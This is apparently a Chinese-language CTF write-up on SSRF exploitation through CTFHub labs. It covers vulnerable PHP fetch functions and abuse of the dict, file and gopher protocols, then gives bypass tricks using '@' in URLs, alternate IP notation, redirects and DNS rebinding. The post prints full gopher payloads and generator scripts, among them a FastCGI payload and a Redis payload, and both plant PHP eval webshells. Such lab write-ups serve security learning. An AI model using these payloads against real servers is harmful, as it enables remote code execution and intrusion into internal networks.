淺析SSRF的各種利用方式
前言
之前的時候,對SSRF的了解僅限與概念,至于具體的利用方法,和繞過,都是沒有什么概念的,這一次,將之前沒有學到的東西好好學習一下,總結一下。
什么是SSRF
SSRF(服務端請求偽造漏洞) 由于服務端提供了從其他服務器應用獲取數據的功能,但又沒有對目標地址做嚴格過濾與限制,導致攻擊者可以傳入任意的地址來讓后端服務器對其發起請求,并返回對該目標地址請求的數據。
一般情況下,SSRF針對的都是一些外網無法訪問的內網,所以需要SSRF使目標后端去訪問內網,進而達到我們攻擊內網的目的。

通過SSRF,我們可以訪問目標內網的redis服務,mysql服務,smpt服務,fastcgi服務等
造成漏洞的一些函數
file_get_contents():將整個文件或一個url所指向的文件讀入一個字符串中。
readfile():輸出一個文件的內容。
fsockopen():打開一個網絡連接或者一個Unix 套接字連接。
curl_exec():初始化一個新的會話,返回一個cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函數使用。
fopen():打開一個文件文件或者 URL。
file_get_contents()/readfile()
$url = $_GET['url'];; echo file_get_contents($url); ?>
fsockopen()
fsockopen($hostname,$port,$errno,$errstr,$timeout)用于打開一個網絡連接或者一個Unix 套接字連接,初始化一個套接字連接到指定主機(hostname),實現對用戶指定url數據的獲取。該函數會使用socket跟服務器建立tcp連接,進行傳輸原始數據。fsockopen()將返回一個文件句柄,之后可以被其他文件類函數調用(例如:fgets(),fgetss(),fwrite(),fclose()還有feof())。如果調用失敗,將返回false
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)
";
} else {
$out = "GET / HTTP/1.1\r";
$out .= "Host: $host\r";
$out .= "Connection: Close\r\r";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
curl_exec()
$url=$_POST['url']; $ch=curl_init($url); //創造一個curl資源 curl_setopt($ch, CURLOPT_HEADER, 0); //設置url和相應的選項 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); // 抓取url并將其傳遞給瀏覽器 curl_close($ch); //關閉curl資源 echo ($result); ?>
接下來我就SSRF涉及的協議和一些bypass結合一些CTF進行分析
SSRF攻擊中涉及的一些協議
因為只是展示各個協議的用途,所以這里就不自己搭環境,直接用CTFHUB的技能樹了
http協議
題目描述: 嘗試訪問位于127.0.0.1的flag.php吧

payload: ?url=http://127.0.0.1/flag.php

這就是因為過濾 不嚴謹,導致我們可以訪問內網。
dict協議
在SSRF中,dict協議與http協議可用來探測內網的主機存活與端口開放情況。
題目描述: 來來來性感CTFHub在線掃端口,據說端口范圍是8000-9000哦
通過題目應該可以判斷 ,跟上一道題是差不多的,但是就是端口問題
先判斷哪個端口存在web服務
這里是直接用burp爆破端口就可以

但是我估計環境出問題了,一直沒有爆破出想要的端口。
這里如果爆破出的話,直接訪問就行
file偽協議
題目描述: 嘗試去讀取一下Web目錄下的flag.php吧
file為協議就不用多說了
payload:?url=file:/var/www/html/flag.php

但是需要知道文件具體位置才能讀到敏感信息。
Gopher協議
Gopher是Internet上一個非常有名的信息查找系統,它將Internet 上的文件組織成某種索引,很方便地將用戶從Internet的一處帶到另一處如果發起post請求,回車換行需要使用%0d%0a,如果多個參數,參數之間的&也需要進行URL編碼
在SSRF中經常會使用Gopher來構造GET/POST包攻擊應用。
題目描述: 這次是發一個HTTP POST請求。對了,ssrf是用php的curl實現的。并且會跟蹤302跳轉,我準備了一個302.php,可能對你有用哦。
進入題目直接查看源碼
?url=file:/var/www/html/flag.php 和 ?url=file:/var/www/html/index.php
index.php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
flag.php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
這里告訴我們要去用127.0.0.1訪問flag.php

那道key,看這個樣子是要我們POST key,但是提交頁面又沒有提交的按鈕,所以這里就需要我們去本地新建一個POST

這里我們需要構造一個POST的數據包
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1 Host: 127.0.0.1:80 Content-Type: application/x-www-form-urlencoded Content-Length: 36 key=00f001523d0b955749ea5e3b0ca09b5f
然后我們就可以進行url編碼了,編碼次數取決于我們訪問次數。
第一次編碼:
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Type:%20application/x-www-form-urlencoded%0AContent-Length:%2036%0A%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7
把%0A替換成%0d%0A,結尾加上%0d%0A,并且末尾要加上%0d%0a(\r)
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20127.0.0.1:80%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%2036%0d%0A%0d%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7%0d%0a
然后在進行一次URL編碼
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Df1688c97bf2e6dda47be87e4d8f87cd7%250D%250A

當然手動編碼,加上復雜的轉化,錯誤率大大提高,所以,我在網上找了個腳本
import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=c384d200658f258e5b5c681bf0aa29a8
"""
#注意后面一定要有回車,回車結尾表示http請求結束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 這里因為是GET請求所以要進行兩次url編碼
直接將編碼所得,提交即可。
FastCGI協議
題目描述 :這次.我們需要攻擊一下fastcgi協議咯.也許附件的文章會對你有點幫助
給了個附件介紹fastcgi協議和PHP-FPM
FastCGI Wikipedia對FastCGI的解釋:快速通用網關接口(FastCommon Gateway Interface/FastCGI)是一種讓交互程序與Web服務器通信的協議。FastCGI是早期通用網關接口(CGI)的增強版本。FastCGI致力于減少網頁服務器與CGI程序之間交互的開銷,從而使服務器可以同時處理更多的網頁請求。 php-fpm 官方對php-fpm的解釋是FPM(FastCGI 進程管理器)用于替換 PHP FastCGI 的大部分附加功能,對于高負載網站是非常有用的。也就是說php-fpm是FastCGI的一個具體實現,其默認監聽9000端口
這里,附件給的復現方式雖然已經挺好的了,但是我查閱資料后,發現還有第二種做法,而且相對簡單,我就用第二種做法,復現一下。
使用工具 Gopherus(https://github.com/tarunkant/Gopherus)生成攻擊FastCGI協議的payload
python gopherus.py --exploit fastcgi /var/www/html/index.php # 這里輸入的是一個已知存在的php文件 echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php

這里我直接參考師傅的payload,生成的payload
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%07%07%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH134%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%19SCRIPT_FILENAME/var/www/html/index.php%20%20%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%86%04%00%3C%3Fphp%20system%28%27echo%20PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%20%7C%20base64%20-d%20%3E%20/var/www/html/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
這里對其進行url二次編碼,因為url會對其解碼一次,curl也會解碼一次,所以要編碼兩次。這個payload是已經進行過一次編碼的,所以再編碼一次即可。
gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH134%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2586%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%2520%257C%2520base64%2520-d%2520%253E%2520/var/www/html/shell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
然后上傳成功

蟻劍連接shell

連接成功,并在根目錄找到flag
Redis協議
題目描述 :這次來攻擊redis協議吧,redis://127.0.0.1:6379。資料?沒有資料!自己找!
總所周知,redis服務是開在6379端口,通常是利用redis未授權訪問而達到寫入shell或者反彈ssh等目的。
這里我本來想著用gopherus 直接生成針對redis未授權訪問,寫入shell

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2430%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%271%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
但是二次編碼的時候傳入沒有成功,不知道為什么。這里我還是用whoami師傅的方法來打。
構造redis命令:
flushall set 1 '' config set dir /var/www/html config set dbfilename shell.php save
WHOAMI師傅的EXP腳本:
import urllib
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell=""
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print urllib.quote(payload) # 由于我們這里是GET,所以要進行兩次url編
碼
生成如下payload
gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
get傳值,蟻劍連接。

但是我這一直報錯,就很怪
常見的bypass繞過方式
這里依舊用ctfhub的題目,但是繞過方法,我會就buu和ctfshow 的相關題目進行擴展。
URL Bypass
題目描述 :請求的URL中必須包含http://notfound.ctfhub.com,來嘗試利用URL的一些特殊地方繞過這個限制吧
構造payload:
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
擴展:如果要求以http://notfound.ctfhub開頭.com 結尾的話,依舊可以使用@
payload
?url=http://notfound.ctfhub@127.0.0.1/flag.php.com
此類需要某某開頭 某某結束的題目均可使用@進行繞過。
數字IP Bypass
題目描述 :這次ban掉了127以及172.不能使用點分十進制的IP了。但是又要訪問127.0.0.1。該怎么辦呢
不能使用127/172 我們可以使用進制轉換等
進制轉換 url=http://0x7f.0.0.1/flag.php url=http://0177.0.0.1/flag.php 擴展: 當有的對跳轉的地址的長度有要求 host<5 url=http://0/flag.php url=http://127.1/flag.php host<3 url=http://0/flag.php
302跳轉 Bypass
題目描述:SSRF中有個很重要的一點是請求可能會跟隨302跳轉,嘗試利用這個來繞過對IP的檢測訪問到位于127.0.0.1的flag.php吧
302跳轉就是由一個URL跳轉到另外一個URL當中去。

IP被ban,改個不含127的試試
出了,我甚至沒搞明白啥意思,有點懵。
DNS重綁定 Bypass
題目描述 :無
DNS重綁定DNS Rebinding攻擊在網頁瀏覽過程中,用戶在地址欄中輸入包含域名的網址。瀏覽器通過DNS服務器將域名解析為IP地址,然后向對應的IP地址請求資源,最后展現給用戶。而對于域名所有者,他可以設置域名所對應的IP地址。當用戶第一次訪問,解析域名獲取一個IP地址;然后,域名持有者修改對應的IP地址;用戶再次請求該域名,就會獲取一個新的IP地址。對于瀏覽器來說,整個過程訪問的都是同一域名,所以認為是安全的。這就造成了DNS Rebinding攻擊。
在自己服務器上寫一個index.php內容如下:
header("Location:http://127.0.0.1/flag.php");
然后payload訪問自己這個地址就可以了。
或者也可以利用這個網站獲取一個測試用的域名:https://lock.cmpxchg8b.com/rebinder.html


總結
雖然這篇文章都是基于CTF來分析SSRF相關知識的,但是我覺得可以從這些CTF題目中延伸出一些滲透攻擊的思路。
就比如:如果我們發現一處SSRF,我們可以使用使用file 偽協議讀取敏感信息,http/s和dict協議判斷內網存活主機和端口,從端口判斷內網中存在的服務。
當我們發現redis/fastcgi/mysql等服務時, 我們可以利用協議gopher和工具 gopherus 進行getshell。
參考
http://www.qwzf.top/2020/03/21/SSRF%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91%E5%BA%94%E7%94%A8/
https://www.freebuf.com/articles/web/258365.html
https://blog.csdn.net/qq_49422880/article/details/117166929
https://www.freebuf.com/articles/web/260806.html